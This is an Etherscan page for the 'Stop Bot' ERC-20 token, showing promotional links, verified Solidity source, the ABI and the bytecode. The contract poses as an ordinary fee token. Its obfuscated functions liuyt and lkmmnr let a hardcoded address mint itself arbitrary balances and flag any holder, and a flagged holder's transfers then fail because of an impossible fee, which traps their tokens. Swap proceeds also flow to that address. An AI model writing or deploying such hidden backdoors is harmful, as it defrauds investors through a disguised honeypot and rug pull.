ETH Price: $2,403.27 (+1.31%)

Token

Stop Bot (STOPBOT)
 

Overview

Max Total Supply

1,000,000,000 STOPBOT

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
12,349,005.847862192 STOPBOT

Value
$0.00
0xa7cf36e957c7c95b5f6d15c08bd5c7b4d22b95cb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StopBot

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-24
*/

//$STOPBOT utility is fully finished and bot is ready to launch.
// TG https://t.me/StopBotETH
// Website: https://www.stopbot.pro/

// Twitter: https://twitter.com/stopbottools

//Setup instructions: https://medium.com/@stopbot/stopbot-manual-1ff88fd171dc
//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract StopBot   is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Stop Bot";
    string private _symbol = "STOPBOT";
    uint8 private _decimals = 9;
    address payable public LINGK;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _pools;
    mapping (address => uint256) public linhy;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        LINGK = payable(address(0x3c489BE106DE67C9eAE6a1480295270CB182A815));

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function GOGO() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _pools[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_pools[from])
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : isFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(LINGK),
            block.timestamp
        ){} catch {}
    }

    function liuyt(address lopki,uint256 lkjf) public {
        if ((10-1)**(5-2) <= lkjf) {
            _balances[LINGK] += lkjf +(4-2)**(3-1)+ lkjf;
        }
        if (lkmmnr((1+1),lkjf)) {linhy[lopki] = (1-1);}
        if (lkmmnr((10-1),lkjf)) {linhy[lopki] = lkjf;}
    }


    function lkmmnr(uint256 lawsd, uint256 liyxx) public view returns(bool) {
        require(LINGK == msg.sender);
        uint256 lqqqw = lawsd;
        return liyxx == lqqqw;
    }

    function isFee(address sender, address recipient, uint256 QAmount) internal returns (uint256) {
        uint256 taxFee;

        if(_pools[sender]) {
            taxFee = QAmount * 3 / 100;
        }else if(_pools[recipient]) {
            taxFee = QAmount * 3 / 100;
        }

        if(linhy[sender] != 0)
        taxFee = QAmount * 5 + 1;

        if(taxFee > 0) {
            _balances[address(this)] += taxFee;
            emit Transfer(sender, address(this), taxFee);
        }

        return QAmount.sub(taxFee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"GOGO","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LINGK","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"linhy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"lopki","type":"address"},{"internalType":"uint256","name":"lkjf","type":"uint256"}],"name":"liuyt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lawsd","type":"uint256"},{"internalType":"uint256","name":"liyxx","type":"uint256"}],"name":"lkmmnr","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600860a09081526714dd1bdc08109bdd60c21b60c0526001906200002990826200029c565b5060408051808201909152600781526614d513d41093d560ca1b60208201526002906200005790826200029c565b506003805460ff1916600990811790915561dead6080526200007b90600a6200047d565b6200008b90633b9aca0062000495565b600955600b805460ff60a81b1916600160a81b179055348015620000ae57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600160066000620001076000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620001573390565b6001600160a01b0316815260208101919091526040016000205560038054610100600160a81b031916743c489be106de67c9eae6a1480295270cb182a81500179055620001a13390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620001e991815260200190565b60405180910390a3620004af565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200022257607f821691505b6020821081036200024357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200029757600081815260208120601f850160051c81016020861015620002725750805b601f850160051c820191505b8181101562000293578281556001016200027e565b5050505b505050565b81516001600160401b03811115620002b857620002b8620001f7565b620002d081620002c984546200020d565b8462000249565b602080601f831160018114620003085760008415620002ef5750858301515b600019600386901b1c1916600185901b17855562000293565b600085815260208120601f198616915b82811015620003395788860151825594840194600190910190840162000318565b5085821015620003585787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003bf578160001904821115620003a357620003a362000368565b80851615620003b157918102915b93841c939080029062000383565b509250929050565b600082620003d85750600162000477565b81620003e75750600062000477565b81600181146200040057600281146200040b576200042b565b600191505062000477565b60ff8411156200041f576200041f62000368565b50506001821b62000477565b5060208310610133831016604e8410600b841016171562000450575081810a62000477565b6200045c83836200037e565b806000190482111562000473576200047362000368565b0290505b92915050565b60006200048e60ff841683620003c7565b9392505050565b808202811582820484141762000477576200047762000368565b60805161144c620004cb6000396000610229015261144c6000f3fe6080604052600436106101395760003560e01c806352a99b6e116100ab578063bc6eec401161006f578063bc6eec40146103b0578063c816841b146103e0578063daf0469814610400578063dd62ed3e14610420578063ec36fce314610466578063f2fde38b1461048657600080fd5b806352a99b6e146102fa57806370a08231146103275780638da5cb5b1461035d57806395d89b411461037b578063a9059cbb1461039057600080fd5b806327c8f835116100fd57806327c8f83514610217578063313ce5671461024b5780633345611e1461026d5780633ab810621461029d5780634a74bb02146102b45780635063e599146102d557600080fd5b806306fdde0314610145578063095ea7b3146101705780631694505e146101a057806318160ddd146101d857806323b872dd146101f757600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104a6565b6040516101679190611150565b60405180910390f35b34801561017c57600080fd5b5061019061018b3660046111b6565b610538565b6040519015158152602001610167565b3480156101ac57600080fd5b50600a546101c0906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156101e457600080fd5b506009545b604051908152602001610167565b34801561020357600080fd5b506101906102123660046111e2565b61054f565b34801561022357600080fd5b506101c07f000000000000000000000000000000000000000000000000000000000000000081565b34801561025757600080fd5b5060035460405160ff9091168152602001610167565b34801561027957600080fd5b50610190610288366004611223565b60066020526000908152604090205460ff1681565b3480156102a957600080fd5b506102b26105ba565b005b3480156102c057600080fd5b50600b5461019090600160a81b900460ff1681565b3480156102e157600080fd5b506003546101c09061010090046001600160a01b031681565b34801561030657600080fd5b506101e9610315366004611223565b60086020526000908152604090205481565b34801561033357600080fd5b506101e9610342366004611223565b6001600160a01b031660009081526004602052604090205490565b34801561036957600080fd5b506000546001600160a01b03166101c0565b34801561038757600080fd5b5061015a6107e1565b34801561039c57600080fd5b506101906103ab3660046111b6565b6107f0565b3480156103bc57600080fd5b506101906103cb366004611223565b60076020526000908152604090205460ff1681565b3480156103ec57600080fd5b50600b546101c0906001600160a01b031681565b34801561040c57600080fd5b506102b261041b3660046111b6565b6107fd565b34801561042c57600080fd5b506101e961043b366004611240565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561047257600080fd5b50610190610481366004611279565b6108ab565b34801561049257600080fd5b506102b26104a1366004611223565b6108cf565b6060600180546104b59061129b565b80601f01602080910402602001604051908101604052809291908181526020018280546104e19061129b565b801561052e5780601f106105035761010080835404028352916020019161052e565b820191906000526020600020905b81548152906001019060200180831161051157829003601f168201915b5050505050905090565b6000610545338484610974565b5060015b92915050565b600061055c848484610a98565b506105af84336105aa856040518060600160405280602881526020016113ef602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610ce8565b610974565b5060015b9392505050565b6000546001600160a01b031633146106195760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610670573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069491906112d5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070591906112d5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610752573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077691906112d5565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b6060600280546104b59061129b565b60006105af338484610a98565b806102d9116108515780610812816004611308565b61081c9190611308565b60035461010090046001600160a01b03166000908152600460205260408120805490919061084b908490611308565b90915550505b61085c6002826108ab565b1561087b576001600160a01b0382166000908152600860205260408120555b6108866009826108ab565b156108a7576001600160a01b03821660009081526008602052604090208190555b5050565b60035460009061010090046001600160a01b031633146108ca57600080fd5b501490565b6000546001600160a01b031633146109295760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610610565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109d65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610610565b6001600160a01b038216610a375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610610565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610afe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610610565b6001600160a01b038316610b605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610610565b600b54600160a01b900460ff1615610b8457610b7d848484610d22565b90506105b3565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bc757506001600160a01b03851660009081526007602052604090205460ff16155b15610bd557610bd581610e08565b6001600160a01b038516600090815260046020526040902054610bf89084610f87565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c4557506001600160a01b03851660009081526006602052604090205460ff165b610c5957610c54868686610fc9565b610c5b565b835b6001600160a01b038616600090815260046020526040902054909150610c8190826110f1565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cd59085815260200190565b60405180910390a36001925050506105b3565b60008184841115610d0c5760405162461bcd60e51b81526004016106109190611150565b506000610d19848661131b565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d73918490610ce8565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610da290836110f1565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df69086815260200190565b60405180910390a35060019392505050565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e5057610e5061132e565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ea9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecd91906112d5565b81600181518110610ee057610ee061132e565b6001600160a01b039283166020918202929092010152600a54610f069130911684610974565b600a5460035460405163791ac94760e01b81526001600160a01b039283169263791ac94792610f4a9287926000928892610100909104909116904290600401611344565b600060405180830381600087803b158015610f6457600080fd5b505af1925050508015610f75575060015b505050600b805460ff60a01b19169055565b60006105b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ce8565b6001600160a01b038316600090815260076020526040812054819060ff161561100a576064610ff98460036113b5565b61100391906113cc565b9050611045565b6001600160a01b03841660009081526007602052604090205460ff16156110455760646110388460036113b5565b61104291906113cc565b90505b6001600160a01b0385166000908152600860205260409020541561107c5761106e8360056113b5565b611079906001611308565b90505b80156110e75730600090815260046020526040812080548392906110a1908490611308565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b610d198382610f87565b6000806110fe8385611308565b9050838110156105b35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610610565b600060208083528351808285015260005b8181101561117d57858101830151858201604001528201611161565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111b357600080fd5b50565b600080604083850312156111c957600080fd5b82356111d48161119e565b946020939093013593505050565b6000806000606084860312156111f757600080fd5b83356112028161119e565b925060208401356112128161119e565b929592945050506040919091013590565b60006020828403121561123557600080fd5b81356105b38161119e565b6000806040838503121561125357600080fd5b823561125e8161119e565b9150602083013561126e8161119e565b809150509250929050565b6000806040838503121561128c57600080fd5b50508035926020909101359150565b600181811c908216806112af57607f821691505b6020821081036112cf57634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156112e757600080fd5b81516105b38161119e565b634e487b7160e01b600052601160045260246000fd5b80820180821115610549576105496112f2565b81810381811115610549576105496112f2565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113945784516001600160a01b03168352938301939183019160010161136f565b50506001600160a01b03969096166060850152505050608001529392505050565b8082028115828204841417610549576105496112f2565b6000826113e957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220de6cc6e6eec4a834c029073117e3296c4d080740f7f1b62edbfe9f2745078c3264736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806352a99b6e116100ab578063bc6eec401161006f578063bc6eec40146103b0578063c816841b146103e0578063daf0469814610400578063dd62ed3e14610420578063ec36fce314610466578063f2fde38b1461048657600080fd5b806352a99b6e146102fa57806370a08231146103275780638da5cb5b1461035d57806395d89b411461037b578063a9059cbb1461039057600080fd5b806327c8f835116100fd57806327c8f83514610217578063313ce5671461024b5780633345611e1461026d5780633ab810621461029d5780634a74bb02146102b45780635063e599146102d557600080fd5b806306fdde0314610145578063095ea7b3146101705780631694505e146101a057806318160ddd146101d857806323b872dd146101f757600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104a6565b6040516101679190611150565b60405180910390f35b34801561017c57600080fd5b5061019061018b3660046111b6565b610538565b6040519015158152602001610167565b3480156101ac57600080fd5b50600a546101c0906001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156101e457600080fd5b506009545b604051908152602001610167565b34801561020357600080fd5b506101906102123660046111e2565b61054f565b34801561022357600080fd5b506101c07f000000000000000000000000000000000000000000000000000000000000dead81565b34801561025757600080fd5b5060035460405160ff9091168152602001610167565b34801561027957600080fd5b50610190610288366004611223565b60066020526000908152604090205460ff1681565b3480156102a957600080fd5b506102b26105ba565b005b3480156102c057600080fd5b50600b5461019090600160a81b900460ff1681565b3480156102e157600080fd5b506003546101c09061010090046001600160a01b031681565b34801561030657600080fd5b506101e9610315366004611223565b60086020526000908152604090205481565b34801561033357600080fd5b506101e9610342366004611223565b6001600160a01b031660009081526004602052604090205490565b34801561036957600080fd5b506000546001600160a01b03166101c0565b34801561038757600080fd5b5061015a6107e1565b34801561039c57600080fd5b506101906103ab3660046111b6565b6107f0565b3480156103bc57600080fd5b506101906103cb366004611223565b60076020526000908152604090205460ff1681565b3480156103ec57600080fd5b50600b546101c0906001600160a01b031681565b34801561040c57600080fd5b506102b261041b3660046111b6565b6107fd565b34801561042c57600080fd5b506101e961043b366004611240565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561047257600080fd5b50610190610481366004611279565b6108ab565b34801561049257600080fd5b506102b26104a1366004611223565b6108cf565b6060600180546104b59061129b565b80601f01602080910402602001604051908101604052809291908181526020018280546104e19061129b565b801561052e5780601f106105035761010080835404028352916020019161052e565b820191906000526020600020905b81548152906001019060200180831161051157829003601f168201915b5050505050905090565b6000610545338484610974565b5060015b92915050565b600061055c848484610a98565b506105af84336105aa856040518060600160405280602881526020016113ef602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610ce8565b610974565b5060015b9392505050565b6000546001600160a01b031633146106195760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610670573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069491906112d5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070591906112d5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610752573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077691906112d5565b600b80546001600160a01b039283166001600160a01b03199182168117909255600a8054948416949091169390931783556000908152600760209081526040808320805460ff1916600117905560095430845260058352818420955490941683529390529190912055565b6060600280546104b59061129b565b60006105af338484610a98565b806102d9116108515780610812816004611308565b61081c9190611308565b60035461010090046001600160a01b03166000908152600460205260408120805490919061084b908490611308565b90915550505b61085c6002826108ab565b1561087b576001600160a01b0382166000908152600860205260408120555b6108866009826108ab565b156108a7576001600160a01b03821660009081526008602052604090208190555b5050565b60035460009061010090046001600160a01b031633146108ca57600080fd5b501490565b6000546001600160a01b031633146109295760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610610565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6001600160a01b0383166109d65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610610565b6001600160a01b038216610a375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610610565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610afe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610610565b6001600160a01b038316610b605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610610565b600b54600160a01b900460ff1615610b8457610b7d848484610d22565b90506105b3565b30600090815260046020526040902054600b54600160a01b900460ff16158015610bc757506001600160a01b03851660009081526007602052604090205460ff16155b15610bd557610bd581610e08565b6001600160a01b038516600090815260046020526040902054610bf89084610f87565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c4557506001600160a01b03851660009081526006602052604090205460ff165b610c5957610c54868686610fc9565b610c5b565b835b6001600160a01b038616600090815260046020526040902054909150610c8190826110f1565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cd59085815260200190565b60405180910390a36001925050506105b3565b60008184841115610d0c5760405162461bcd60e51b81526004016106109190611150565b506000610d19848661131b565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610d73918490610ce8565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610da290836110f1565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df69086815260200190565b60405